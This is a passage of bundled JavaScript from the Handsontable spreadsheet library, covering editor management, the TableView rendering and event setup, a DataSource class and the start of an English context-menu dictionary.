instance.addHook('afterDocumentKeyDown', onKeyDown); eventManager.addEventListener(document.documentElement, 'keydown', function (event) { if (!destroyed) { instance.runHooks('afterDocumentKeyDown', event); } }); // Open editor when text composition is started (IME editor) eventManager.addEventListener(document.documentElement, 'compositionstart', function (event) { if (!destroyed && activeEditor && !activeEditor.isOpened() && instance.isListening()) { _this.openEditor('', event); } }); function onDblClick(event, coords, elem) { // may be TD or TH if (elem.nodeName === 'TD') { if (activeEditor) { activeEditor.enableFullEditMode(); } _this.openEditor(null, event); } } instance.view.wt.update('onCellDblClick', onDblClick); } /** * Lock the editor from being prepared and closed. Locking the editor prevents its closing and * reinitialized after selecting the new cell. This feature is necessary for a mobile editor. * * @function lockEditor * @memberof! Handsontable.EditorManager# */ this.lockEditor = function () { lock = true; }; /** * Unlock the editor from being prepared and closed. This method restores the original behavior of * the editors where for every new selection its instances are closed. * * @function unlockEditor * @memberof! Handsontable.EditorManager# */ this.unlockEditor = function () { lock = false; }; /** * Destroy current editor, if exists. * * @function destroyEditor * @memberof! Handsontable.EditorManager# * @param {Boolean} revertOriginal */ this.destroyEditor = function (revertOriginal) { if (!lock) { this.closeEditor(revertOriginal); } }; /** * Get active editor. * * @function getActiveEditor * @memberof! Handsontable.EditorManager# * @returns {*} */ this.getActiveEditor = function () { return activeEditor; }; /** * Prepare text input to be displayed at given grid cell. * * @function prepareEditor * @memberof! Handsontable.EditorManager# */ this.prepareEditor = function () { if (lock) { return; } if (activeEditor && activeEditor.isWaiting()) { this.closeEditor(false, false, function (dataSaved) { if (dataSaved) { _this.prepareEditor(); } }); return; } var row = instance.selection.selectedRange.current().highlight.row; var col = instance.selection.selectedRange.current().highlight.col; var prop = instance.colToProp(col); var td = instance.getCell(row, col); var originalValue = instance.getSourceDataAtCell(instance.runHooks('modifyRow', row), col); var cellProperties = instance.getCellMeta(row, col); var editorClass = instance.getCellEditor(cellProperties); if (editorClass) { activeEditor = (0, _editors.getEditorInstance)(editorClass, instance); activeEditor.prepare(row, col, prop, td, originalValue, cellProperties); } else { activeEditor = void 0; } }; /** * Check is editor is opened/showed. * * @function isEditorOpened * @memberof! Handsontable.EditorManager# * @returns {Boolean} */ this.isEditorOpened = function () { return activeEditor && activeEditor.isOpened(); }; /** * Open editor with initial value. * * @function openEditor * @memberof! Handsontable.EditorManager# * @param {null|String} newInitialValue new value from which editor will start if handled property it's not the `null`. * @param {DOMEvent} event */ this.openEditor = function (newInitialValue, event) { if (!activeEditor) { return; } var readOnly = activeEditor.cellProperties.readOnly; if (readOnly) { // move the selection after opening the editor with ENTER key if (event && event.keyCode === _unicode.KEY_CODES.ENTER) { moveSelectionAfterEnter(); } } else { activeEditor.beginEditing(newInitialValue, event); } }; /** * Close editor, finish editing cell. * * @function closeEditor * @memberof! Handsontable.EditorManager# * @param {Boolean} restoreOriginalValue * @param {Boolean} [ctrlDown] * @param {Function} [callback] */ this.closeEditor = function (restoreOriginalValue, ctrlDown, callback) { if (activeEditor) { activeEditor.finishEditing(restoreOriginalValue, ctrlDown, callback); } else if (callback) { callback(false); } }; /** * Close editor and save changes. * * @function closeEditorAndSaveChanges * @memberof! Handsontable.EditorManager# * @param {Boolean} ctrlDown */ this.closeEditorAndSaveChanges = function (ctrlDown) { return this.closeEditor(false, ctrlDown); }; /** * Close editor and restore original value. * * @function closeEditorAndRestoreOriginalValue * @memberof! Handsontable.EditorManager# * @param {Boolean} ctrlDown */ this.closeEditorAndRestoreOriginalValue = function (ctrlDown) { return this.closeEditor(true, ctrlDown); }; /** * Destroy the instance. */ this.destroy = function () { destroyed = true; }; init(); } var instances = new WeakMap(); EditorManager.getInstance = function (hotInstance, hotSettings, selection, datamap) { var editorManager = instances.get(hotInstance); if (!editorManager) { editorManager = new EditorManager(hotInstance, hotSettings, selection, datamap); instances.set(hotInstance, editorManager); } return editorManager; }; var _default = EditorManager; exports.default = _default; /***/ }), /* 648 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _element = __webpack_require__(1); var _eventManager = _interopRequireDefault(__webpack_require__(10)); var _event = __webpack_require__(18); var _src = _interopRequireDefault(__webpack_require__(8)); var _mouseEventHandler = __webpack_require__(423); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _slicedToArray(arr, i) { return _arrayWithHoles(arr) || _iterableToArrayLimit(arr, i) || _nonIterableRest(); } function _nonIterableRest() { throw new TypeError("Invalid attempt to destructure non-iterable instance"); } function _iterableToArrayLimit(arr, i) { var _arr = []; var _n = true; var _d = false; var _e = undefined; try { for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) { _arr.push(_s.value); if (i && _arr.length === i) break; } } catch (err) { _d = true; _e = err; } finally { try { if (!_n && _i["return"] != null) _i["return"](); } finally { if (_d) throw _e; } } return _arr; } function _arrayWithHoles(arr) { if (Array.isArray(arr)) return arr; } /** * Cross-platform helper to clear text selection. */ var clearTextSelection = function clearTextSelection() { // http://stackoverflow.com/questions/3169786/clear-text-selection-with-javascript if (window.getSelection) { if (window.getSelection().empty) { // Chrome window.getSelection().empty(); } else if (window.getSelection().removeAllRanges) { // Firefox window.getSelection().removeAllRanges(); } } else if (document.selection) { // IE? document.selection.empty(); } }; /** * Handsontable TableView constructor * @param {Object} instance */ function TableView(instance) { var _this = this; var that = this; this.eventManager = new _eventManager.default(instance); this.instance = instance; this.settings = instance.getSettings(); this.selectionMouseDown = false; var originalStyle = instance.rootElement.getAttribute('style'); if (originalStyle) { instance.rootElement.setAttribute('data-originalstyle', originalStyle); // needed to retrieve original style in jsFiddle link generator in HT examples. may be removed in future versions } (0, _element.addClass)(instance.rootElement, 'handsontable'); var table = document.createElement('TABLE'); (0, _element.addClass)(table, 'htCore'); if (instance.getSettings().tableClassName) { (0, _element.addClass)(table, instance.getSettings().tableClassName); } this.THEAD = document.createElement('THEAD'); table.appendChild(this.THEAD); this.TBODY = document.createElement('TBODY'); table.appendChild(this.TBODY); instance.table = table; instance.container.insertBefore(table, instance.container.firstChild); this.eventManager.addEventListener(instance.rootElement, 'mousedown', function (event) { _this.selectionMouseDown = true; if (!that.isTextSelectionAllowed(event.target)) { clearTextSelection(); event.preventDefault(); window.focus(); // make sure that window that contains HOT is active. Important when HOT is in iframe. } }); this.eventManager.addEventListener(instance.rootElement, 'mouseup', function () { _this.selectionMouseDown = false; }); this.eventManager.addEventListener(instance.rootElement, 'mousemove', function (event) { if (_this.selectionMouseDown && !that.isTextSelectionAllowed(event.target)) { // Clear selection only when fragmentSelection is enabled, otherwise clearing selection breakes the IME editor. if (_this.settings.fragmentSelection) { clearTextSelection(); } event.preventDefault(); } }); this.eventManager.addEventListener(document.documentElement, 'keyup', function (event) { if (instance.selection.isInProgress() && !event.shiftKey) { instance.selection.finish(); } }); var isMouseDown; this.isMouseDown = function () { return isMouseDown; }; this.eventManager.addEventListener(document.documentElement, 'mouseup', function (event) { if (instance.selection.isInProgress() && (0, _event.isLeftClick)(event)) { // is left mouse button instance.selection.finish(); } isMouseDown = false; if ((0, _element.isOutsideInput)(document.activeElement) || !instance.selection.isSelected() && !(0, _event.isRightClick)(event)) { instance.unlisten(); } }); this.eventManager.addEventListener(document.documentElement, 'contextmenu', function (event) { if (instance.selection.isInProgress() && (0, _event.isRightClick)(event)) { instance.selection.finish(); isMouseDown = false; } }); this.eventManager.addEventListener(document.documentElement, 'touchend', function () { if (instance.selection.isInProgress()) { instance.selection.finish(); } isMouseDown = false; }); this.eventManager.addEventListener(document.documentElement, 'mousedown', function (event) { var originalTarget = event.target; var eventX = event.x || event.clientX; var eventY = event.y || event.clientY; var next = event.target; if (isMouseDown || !instance.rootElement) { return; // it must have been started in a cell } // immediate click on "holder" means click on the right side of vertical scrollbar if (next === instance.view.wt.wtTable.holder) { var scrollbarWidth = (0, _element.getScrollbarWidth)(); if (document.elementFromPoint(eventX + scrollbarWidth, eventY) !== instance.view.wt.wtTable.holder || document.elementFromPoint(eventX, eventY + scrollbarWidth) !== instance.view.wt.wtTable.holder) { return; } } else { while (next !== document.documentElement) { if (next === null) { if (event.isTargetWebComponent) { break; } // click on something that was a row but now is detached (possibly because your click triggered a rerender) return; } if (next === instance.rootElement) { // click inside container return; } next = next.parentNode; } } // function did not return until here, we have an outside click! var outsideClickDeselects = typeof that.settings.outsideClickDeselects === 'function' ? that.settings.outsideClickDeselects(originalTarget) : that.settings.outsideClickDeselects; if (outsideClickDeselects) { instance.deselectCell(); } else { instance.destroyEditor(false, false); } }); this.eventManager.addEventListener(table, 'selectstart', function (event) { if (that.settings.fragmentSelection || (0, _element.isInput)(event.target)) { return; } // https://github.com/handsontable/handsontable/issues/160 // Prevent text from being selected when performing drag down. event.preventDefault(); }); var walkontableConfig = { debug: function debug() { return that.settings.debug; }, externalRowCalculator: this.instance.getPlugin('autoRowSize') && this.instance.getPlugin('autoRowSize').isEnabled(), table: table, preventOverflow: function preventOverflow() { return _this.settings.preventOverflow; }, stretchH: function stretchH() { return that.settings.stretchH; }, data: instance.getDataAtCell, totalRows: function totalRows() { return instance.countRows(); }, totalColumns: function totalColumns() { return instance.countCols(); }, fixedColumnsLeft: function fixedColumnsLeft() { return that.settings.fixedColumnsLeft; }, fixedRowsTop: function fixedRowsTop() { return that.settings.fixedRowsTop; }, fixedRowsBottom: function fixedRowsBottom() { return that.settings.fixedRowsBottom; }, minSpareRows: function minSpareRows() { return that.settings.minSpareRows; }, renderAllRows: that.settings.renderAllRows, rowHeaders: function rowHeaders() { var headerRenderers = []; if (instance.hasRowHeaders()) { headerRenderers.push(function (row, TH) { return that.appendRowHeader(row, TH); }); } instance.runHooks('afterGetRowHeaderRenderers', headerRenderers); return headerRenderers; }, columnHeaders: function columnHeaders() { var headerRenderers = []; if (instance.hasColHeaders()) { headerRenderers.push(function (column, TH) { that.appendColHeader(column, TH); }); } instance.runHooks('afterGetColumnHeaderRenderers', headerRenderers); return headerRenderers; }, columnWidth: instance.getColWidth, rowHeight: instance.getRowHeight, cellRenderer: function cellRenderer(row, col, TD) { var cellProperties = that.instance.getCellMeta(row, col); var prop = that.instance.colToProp(col); var value = that.instance.getDataAtRowProp(row, prop); if (that.instance.hasHook('beforeValueRender')) { value = that.instance.runHooks('beforeValueRender', value, cellProperties); } that.instance.runHooks('beforeRenderer', TD, row, col, prop, value, cellProperties); that.instance.getCellRenderer(cellProperties)(that.instance, TD, row, col, prop, value, cellProperties); that.instance.runHooks('afterRenderer', TD, row, col, prop, value, cellProperties); }, selections: that.instance.selection.highlight, hideBorderOnMouseDownOver: function hideBorderOnMouseDownOver() { return that.settings.fragmentSelection; }, onCellMouseDown: function onCellMouseDown(event, coords, TD, wt) { var blockCalculations = { row: false, column: false, cell: false }; instance.listen(); that.activeWt = wt; isMouseDown = true; instance.runHooks('beforeOnCellMouseDown', event, coords, TD, blockCalculations); if ((0, _event.isImmediatePropagationStopped)(event)) { return; } (0, _mouseEventHandler.handleMouseEvent)(event, { coords: coords, selection: instance.selection, controller: blockCalculations }); instance.runHooks('afterOnCellMouseDown', event, coords, TD); that.activeWt = that.wt; }, onCellContextMenu: function onCellContextMenu(event, coords, TD, wt) { that.activeWt = wt; isMouseDown = false; if (instance.selection.isInProgress()) { instance.selection.finish(); } instance.runHooks('beforeOnCellContextMenu', event, coords, TD); if ((0, _event.isImmediatePropagationStopped)(event)) { return; } instance.runHooks('afterOnCellContextMenu', event, coords, TD); that.activeWt = that.wt; }, onCellMouseOut: function onCellMouseOut(event, coords, TD, wt) { that.activeWt = wt; instance.runHooks('beforeOnCellMouseOut', event, coords, TD); if ((0, _event.isImmediatePropagationStopped)(event)) { return; } instance.runHooks('afterOnCellMouseOut', event, coords, TD); that.activeWt = that.wt; }, onCellMouseOver: function onCellMouseOver(event, coords, TD, wt) { var blockCalculations = { row: false, column: false, cell: false }; that.activeWt = wt; instance.runHooks('beforeOnCellMouseOver', event, coords, TD, blockCalculations); if ((0, _event.isImmediatePropagationStopped)(event)) { return; } if (isMouseDown) { (0, _mouseEventHandler.handleMouseEvent)(event, { coords: coords, selection: instance.selection, controller: blockCalculations }); } instance.runHooks('afterOnCellMouseOver', event, coords, TD); that.activeWt = that.wt; }, onCellMouseUp: function onCellMouseUp(event, coords, TD, wt) { that.activeWt = wt; instance.runHooks('beforeOnCellMouseUp', event, coords, TD); instance.runHooks('afterOnCellMouseUp', event, coords, TD); that.activeWt = that.wt; }, onCellCornerMouseDown: function onCellCornerMouseDown(event) { event.preventDefault(); instance.runHooks('afterOnCellCornerMouseDown', event); }, onCellCornerDblClick: function onCellCornerDblClick(event) { event.preventDefault(); instance.runHooks('afterOnCellCornerDblClick', event); }, beforeDraw: function beforeDraw(force, skipRender) { that.beforeRender(force, skipRender); }, onDraw: function onDraw(force) { that.onDraw(force); }, onScrollVertically: function onScrollVertically() { instance.runHooks('afterScrollVertically'); }, onScrollHorizontally: function onScrollHorizontally() { instance.runHooks('afterScrollHorizontally'); }, onBeforeRemoveCellClassNames: function onBeforeRemoveCellClassNames() { return instance.runHooks('beforeRemoveCellClassNames'); }, onAfterDrawSelection: function onAfterDrawSelection(currentRow, currentColumn, cornersOfSelection, layerLevel) { return instance.runHooks('afterDrawSelection', currentRow, currentColumn, cornersOfSelection, layerLevel); }, onBeforeDrawBorders: function onBeforeDrawBorders(corners, borderClassName) { instance.runHooks('beforeDrawBorders', corners, borderClassName); }, onBeforeTouchScroll: function onBeforeTouchScroll() { instance.runHooks('beforeTouchScroll'); }, onAfterMomentumScroll: function onAfterMomentumScroll() { instance.runHooks('afterMomentumScroll'); }, onBeforeStretchingColumnWidth: function onBeforeStretchingColumnWidth(stretchedWidth, column) { return instance.runHooks('beforeStretchingColumnWidth', stretchedWidth, column); }, onModifyRowHeaderWidth: function onModifyRowHeaderWidth(rowHeaderWidth) { return instance.runHooks('modifyRowHeaderWidth', rowHeaderWidth); }, onModifyGetCellCoords: function onModifyGetCellCoords(row, column, topmost) { return instance.runHooks('modifyGetCellCoords', row, column, topmost); }, viewportRowCalculatorOverride: function viewportRowCalculatorOverride(calc) { var rows = instance.countRows(); var viewportOffset = that.settings.viewportRowRenderingOffset; if (viewportOffset === 'auto' && that.settings.fixedRowsTop) { viewportOffset = 10; } if (typeof viewportOffset === 'number') { calc.startRow = Math.max(calc.startRow - viewportOffset, 0); calc.endRow = Math.min(calc.endRow + viewportOffset, rows - 1); } if (viewportOffset === 'auto') { var center = calc.startRow + calc.endRow - calc.startRow; var offset = Math.ceil(center / rows * 12); calc.startRow = Math.max(calc.startRow - offset, 0); calc.endRow = Math.min(calc.endRow + offset, rows - 1); } instance.runHooks('afterViewportRowCalculatorOverride', calc); }, viewportColumnCalculatorOverride: function viewportColumnCalculatorOverride(calc) { var cols = instance.countCols(); var viewportOffset = that.settings.viewportColumnRenderingOffset; if (viewportOffset === 'auto' && that.settings.fixedColumnsLeft) { viewportOffset = 10; } if (typeof viewportOffset === 'number') { calc.startColumn = Math.max(calc.startColumn - viewportOffset, 0); calc.endColumn = Math.min(calc.endColumn + viewportOffset, cols - 1); } if (viewportOffset === 'auto') { var center = calc.startColumn + calc.endColumn - calc.startColumn; var offset = Math.ceil(center / cols * 12); calc.startRow = Math.max(calc.startColumn - offset, 0); calc.endColumn = Math.min(calc.endColumn + offset, cols - 1); } instance.runHooks('afterViewportColumnCalculatorOverride', calc); }, rowHeaderWidth: function rowHeaderWidth() { return that.settings.rowHeaderWidth; }, columnHeaderHeight: function columnHeaderHeight() { var columnHeaderHeight = instance.runHooks('modifyColumnHeaderHeight'); return that.settings.columnHeaderHeight || columnHeaderHeight; } }; instance.runHooks('beforeInitWalkontable', walkontableConfig); this.wt = new _src.default(walkontableConfig); this.activeWt = this.wt; this.eventManager.addEventListener(that.wt.wtTable.spreader, 'mousedown', function (event) { // right mouse button exactly on spreader means right click on the right hand side of vertical scrollbar if (event.target === that.wt.wtTable.spreader && event.which === 3) { (0, _event.stopPropagation)(event); } }); this.eventManager.addEventListener(that.wt.wtTable.spreader, 'contextmenu', function (event) { // right mouse button exactly on spreader means right click on the right hand side of vertical scrollbar if (event.target === that.wt.wtTable.spreader && event.which === 3) { (0, _event.stopPropagation)(event); } }); this.eventManager.addEventListener(document.documentElement, 'click', function () { if (that.settings.observeDOMVisibility) { if (that.wt.drawInterrupted) { that.instance.forceFullRender = true; that.render(); } } }); } TableView.prototype.isTextSelectionAllowed = function (el) { if ((0, _element.isInput)(el)) { return true; } var isChildOfTableBody = (0, _element.isChildOf)(el, this.instance.view.wt.wtTable.spreader); if (this.settings.fragmentSelection === true && isChildOfTableBody) { return true; } if (this.settings.fragmentSelection === 'cell' && this.isSelectedOnlyCell() && isChildOfTableBody) { return true; } if (!this.settings.fragmentSelection && this.isCellEdited() && this.isSelectedOnlyCell()) { return true; } return false; }; /** * Check if selected only one cell. * * @returns {Boolean} */ TableView.prototype.isSelectedOnlyCell = function () { var _ref = this.instance.getSelectedLast() || [], _ref2 = _slicedToArray(_ref, 4), row = _ref2[0], col = _ref2[1], rowEnd = _ref2[2], colEnd = _ref2[3]; return row !== void 0 && row === rowEnd && col === colEnd; }; TableView.prototype.isCellEdited = function () { var activeEditor = this.instance.getActiveEditor(); return activeEditor && activeEditor.isOpened(); }; TableView.prototype.beforeRender = function (force, skipRender) { if (force) { // this.instance.forceFullRender = did Handsontable request full render? this.instance.runHooks('beforeRender', this.instance.forceFullRender, skipRender); } }; TableView.prototype.onDraw = function (force) { if (force) { // this.instance.forceFullRender = did Handsontable request full render? this.instance.runHooks('afterRender', this.instance.forceFullRender); } }; TableView.prototype.render = function () { this.wt.draw(!this.instance.forceFullRender); this.instance.forceFullRender = false; this.instance.renderCall = false; }; /** * Returns td object given coordinates * * @param {CellCoords} coords * @param {Boolean} topmost */ TableView.prototype.getCellAtCoords = function (coords, topmost) { var td = this.wt.getCell(coords, topmost); if (td < 0) { // there was an exit code (cell is out of bounds) return null; } return td; }; /** * Scroll viewport to a cell. * * @param {CellCoords} coords * @param {Boolean} [snapToTop] * @param {Boolean} [snapToRight] * @param {Boolean} [snapToBottom] * @param {Boolean} [snapToLeft] * @returns {Boolean} */ TableView.prototype.scrollViewport = function (coords, snapToTop, snapToRight, snapToBottom, snapToLeft) { return this.wt.scrollViewport(coords, snapToTop, snapToRight, snapToBottom, snapToLeft); }; /** * Scroll viewport to a column. * * @param {Number} column Visual column index. * @param {Boolean} [snapToLeft] * @param {Boolean} [snapToRight] * @returns {Boolean} */ TableView.prototype.scrollViewportHorizontally = function (column, snapToRight, snapToLeft) { return this.wt.scrollViewportHorizontally(column, snapToRight, snapToLeft); }; /** * Scroll viewport to a row. * * @param {Number} row Visual row index. * @param {Boolean} [snapToTop] * @param {Boolean} [snapToBottom] * @returns {Boolean} */ TableView.prototype.scrollViewportVertically = function (row, snapToTop, snapToBottom) { return this.wt.scrollViewportVertically(row, snapToTop, snapToBottom); }; /** * Append row header to a TH element * @param row * @param TH */ TableView.prototype.appendRowHeader = function (row, TH) { if (TH.firstChild) { var container = TH.firstChild; if (!(0, _element.hasClass)(container, 'relative')) { (0, _element.empty)(TH); this.appendRowHeader(row, TH); return; } this.updateCellHeader(container.querySelector('.rowHeader'), row, this.instance.getRowHeader); } else { var div = document.createElement('div'); var span = document.createElement('span'); div.className = 'relative'; span.className = 'rowHeader'; this.updateCellHeader(span, row, this.instance.getRowHeader); div.appendChild(span); TH.appendChild(div); } this.instance.runHooks('afterGetRowHeader', row, TH); }; /** * Append column header to a TH element * @param col * @param TH */ TableView.prototype.appendColHeader = function (col, TH) { if (TH.firstChild) { var container = TH.firstChild; if ((0, _element.hasClass)(container, 'relative')) { this.updateCellHeader(container.querySelector('.colHeader'), col, this.instance.getColHeader); } else { (0, _element.empty)(TH); this.appendColHeader(col, TH); } } else { var div = document.createElement('div'); var span = document.createElement('span'); div.className = 'relative'; span.className = 'colHeader'; this.updateCellHeader(span, col, this.instance.getColHeader); div.appendChild(span); TH.appendChild(div); } this.instance.runHooks('afterGetColHeader', col, TH); }; /** * Update header cell content * * @since 0.15.0-beta4 * @param {HTMLElement} element Element to update * @param {Number} index Row index or column index * @param {Function} content Function which should be returns content for this cell */ TableView.prototype.updateCellHeader = function (element, index, content) { var renderedIndex = index; var parentOverlay = this.wt.wtOverlays.getParentOverlay(element) || this.wt; // prevent wrong calculations from SampleGenerator if (element.parentNode) { if ((0, _element.hasClass)(element, 'colHeader')) { renderedIndex = parentOverlay.wtTable.columnFilter.sourceToRendered(index); } else if ((0, _element.hasClass)(element, 'rowHeader')) { renderedIndex = parentOverlay.wtTable.rowFilter.sourceToRendered(index); } } if (renderedIndex > -1) { (0, _element.fastInnerHTML)(element, content(index)); } else { // workaround for https://github.com/handsontable/handsontable/issues/1946 (0, _element.fastInnerText)(element, String.fromCharCode(160)); (0, _element.addClass)(element, 'cornerHeader'); } }; /** * Given a element's left position relative to the viewport, returns maximum element width until the right * edge of the viewport (before scrollbar) * * @param {Number} leftOffset * @return {Number} */ TableView.prototype.maximumVisibleElementWidth = function (leftOffset) { var workspaceWidth = this.wt.wtViewport.getWorkspaceWidth(); var maxWidth = workspaceWidth - leftOffset; return maxWidth > 0 ? maxWidth : 0; }; /** * Given a element's top position relative to the viewport, returns maximum element height until the bottom * edge of the viewport (before scrollbar) * * @param {Number} topOffset * @return {Number} */ TableView.prototype.maximumVisibleElementHeight = function (topOffset) { var workspaceHeight = this.wt.wtViewport.getWorkspaceHeight(); var maxHeight = workspaceHeight - topOffset; return maxHeight > 0 ? maxHeight : 0; }; TableView.prototype.mainViewIsActive = function () { return this.wt === this.activeWt; }; TableView.prototype.destroy = function () { this.wt.destroy(); this.eventManager.destroy(); }; var _default = TableView; exports.default = _default; /***/ }), /* 649 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _object = __webpack_require__(2); var _array = __webpack_require__(3); var _number = __webpack_require__(9); function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } /** * @class DataSource * @private */ var DataSource = /*#__PURE__*/ function () { function DataSource(hotInstance) { var dataSource = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : []; _classCallCheck(this, DataSource); /** * Instance of Handsontable. * * @type {Handsontable} */ this.hot = hotInstance; /** * Data source * * @type {Array} */ this.data = dataSource; /** * Type of data source. * * @type {String} * @default 'array' */ this.dataType = 'array'; this.colToProp = function () {}; this.propToCol = function () {}; } /** * Get all data. * * @param {Boolean} [toArray=false] If `true` return source data as an array of arrays even when source data was provided * in another format. * @returns {Array} */ _createClass(DataSource, [{ key: "getData", value: function getData() { var toArray = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : false; var result = this.data; if (toArray) { result = this.getByRange({ row: 0, col: 0 }, { row: Math.max(this.countRows() - 1, 0), col: Math.max(this.countColumns() - 1, 0) }, true); } return result; } /** * Set new data source. * * @param data {Array} */ }, { key: "setData", value: function setData(data) { this.data = data; } /** * Returns array of column values from the data source. `column` is the index of the row in the data source. * * @param {Number} column Visual column index. * @returns {Array} */ }, { key: "getAtColumn", value: function getAtColumn(column) { var _this = this; var result = []; (0, _array.arrayEach)(this.data, function (row) { var property = _this.colToProp(column); var value; if (typeof property === 'string') { value = (0, _object.getProperty)(row, property); } else if (typeof property === 'function') { value = property(row); } else { value = row[property]; } result.push(value); }); return result; } /** * Returns a single row of the data (array or object, depending on what you have). `row` is the index of the row in the data source. * * @param {Number} row Physical row index. * @returns {Array|Object} */ }, { key: "getAtRow", value: function getAtRow(row) { return this.data[row]; } /** * Returns a single value from the data. * * @param {Number} row Physical row index. * @param {Number} column Visual column index. * @returns {*} */ }, { key: "getAtCell", value: function getAtCell(row, column) { var result = null; var modifyRowData = this.hot.runHooks('modifyRowData', row); var dataRow = isNaN(modifyRowData) ? modifyRowData : this.data[row]; if (dataRow) { var prop = this.colToProp(column); if (typeof prop === 'string') { result = (0, _object.getProperty)(dataRow, prop); } else if (typeof prop === 'function') { result = prop(this.data.slice(row, row + 1)[0]); } else { result = dataRow[prop]; } } return result; } /** * Returns source data by passed range. * * @param {Object} start Object with physical `row` and `col` keys (or visual column index, if data type is an array of objects). * @param {Object} end Object with physical `row` and `col` keys (or visual column index, if data type is an array of objects). * @param {Boolean} [toArray=false] If `true` return source data as an array of arrays even when source data was provided * in another format. * @returns {Array} */ }, { key: "getByRange", value: function getByRange(start, end) { var _this2 = this; var toArray = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : false; var startRow = Math.min(start.row, end.row); var startCol = Math.min(start.col, end.col); var endRow = Math.max(start.row, end.row); var endCol = Math.max(start.col, end.col); var result = []; (0, _number.rangeEach)(startRow, endRow, function (currentRow) { var row = _this2.getAtRow(currentRow); var newRow; if (_this2.dataType === 'array') { newRow = row.slice(startCol, endCol + 1); } else if (_this2.dataType === 'object') { newRow = toArray ? [] : {}; (0, _number.rangeEach)(startCol, endCol, function (column) { var prop = _this2.colToProp(column); if (toArray) { newRow.push(row[prop]); } else { newRow[prop] = row[prop]; } }); } result.push(newRow); }); return result; } /** * Count number of rows. * * @returns {Number} */ }, { key: "countRows", value: function countRows() { return Array.isArray(this.data) ? this.data.length : 0; } /** * Count number of columns. * * @returns {Number} */ }, { key: "countColumns", value: function countColumns() { var result = 0; if (Array.isArray(this.data)) { if (this.dataType === 'array') { result = this.data[0].length; } else if (this.dataType === 'object') { result = Object.keys(this.data[0]).length; } } return result; } /** * Destroy instance. */ }, { key: "destroy", value: function destroy() { this.data = null; this.hot = null; } }]); return DataSource; }(); var _default = DataSource; exports.default = _default; /***/ }), /* 650 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var C = _interopRequireWildcard(__webpack_require__(11)); var _dictionary; function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = Object.defineProperty && Object.getOwnPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : {}; if (desc.get || desc.set) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } } newObj.default = obj; return newObj; } } function _defineProperty(obj, key, value) { if (key in obj) { Object.defineProperty(obj, key, { value: value, enumerable: true, configurable: true, writable: true }); } else { obj[key] = value; } return obj; } var dictionary = (_dictionary = { languageCode: 'en-US' }, _defineProperty(_dictionary, C.CONTEXTMENU_ITEMS_ROW_ABOVE, 'Insert row above'), _defineProperty(_dictionary, C.CONTEXTMENU_ITEMS_ROW_BELOW, 'Insert row below'), _defineProperty(_dictionary, C.CONTEXTMENU_ITEMS_INSERT_LEFT, 'Insert column left'), _defineProperty(_dictionary, C.CONTEXTMENU_ITEMS_INSERT_RIGHT, 'Insert column right'), _defineProperty(_dictionary, C.CONTEXTMENU_ITEMS_REMOVE_ROW, ['Remove row', 'Remove rows']), _defineProperty(_dictionary, C.CONTEXTMENU_ITEMS_REMOVE_COLUMN, ['Remove column', 'Remove columns']), _defineProperty(_dictionary, C.CONTEXTMENU_ITEMS_UNDO, 'Undo'), _defineProperty(_dictionary, C.CONTEXTMENU_ITEMS_REDO, 'Redo'), _defineProperty(_dictionary, C.CONTEXTMENU_ITEMS_READ_ONLY, 'Read only'), _defineProperty(_dictionary, C.CONTEXTMENU_ITEMS_CLEAR_COLUMN, 'Clear column'), _defineProperty(_dictionary, C.CONTEXTMENU_ITEMS_ALIGNMENT, 'Alignment'), _defineProperty(_dictionary, C.CONTEXTMENU_ITEMS_ALIGNMENT_LEFT, 'Left'), _defineProperty(_dictionary, C.CONTEXTMENU_ITEMS_ALIGNMENT_CENTER, 'Center'), _defineProperty(_dictionary, C.CONTEXTMENU_ITEMS_ALIGNMENT_RIGHT, 'Right'), _defineProperty(_dictionary, C.CONTEXTMENU_ITEMS_ALIGNMENT_JUSTIFY, 'Justify'), _defineProperty(_dictionary, C.CONTEXTMENU_ITEMS_ALIGNMENT_TOP, 'Top'), _defineProperty(_dictionary, C.CONTEXTMENU_ITEMS_ALIGNMENT_MIDDLE, 'Middle'), _defineProperty(_dictionary, C.CONTEXTMENU_ITEMS_ALIGNMENT_BOTTOM, 'Bottom'), _defineProperty(_dictionary, C.CONTEXTMENU_ITEMS_FREEZE_COLUMN, 'Freeze column'), _defineProperty(_dictionary, C.CONTEXTMENU_ITEMS_UNFREEZE_COLUMN, 'Unfreeze column'), _defineProperty(_dictionary, C.CONTEXTMENU_ITEMS_BORDERS, 'Borders'), _defineProperty(_dictionary, C.CONTEXTMENU_ITEMS_BORDERS_TOP, 'Top'), _defineProperty(_dictionary, C.CONTEXTMENU_ITEMS_BORDERS_RIGHT, 'Right'), _defineProperty(_dictionary, C.CONTEXTMENU_ITEMS_BORDERS_BOTTOM, 'Bottom'), _defineProperty(_dictionary, C.CONTEXTMENU_ITEMS_BORDERS_LEFT, 'Left'), _defineProperty(_dictionary, C.CONTEXTMENU_ITEMS_REMOVE_BORDERS, 'Remove border(s)'), _defineProperty(_dictionary, C.CONTEXTMENU_ITEMS_ADD_COMMENT, 'Add comment'), _defineProperty(_dictionary, C.CONTEXTMENU_ITEMS_EDIT_COMMENT, 'Edit comment'), _defineProperty(_dictionary, C.CONTEXTMENU_ITEMS_REMOVE_COMMENT, 'Delete comment'), 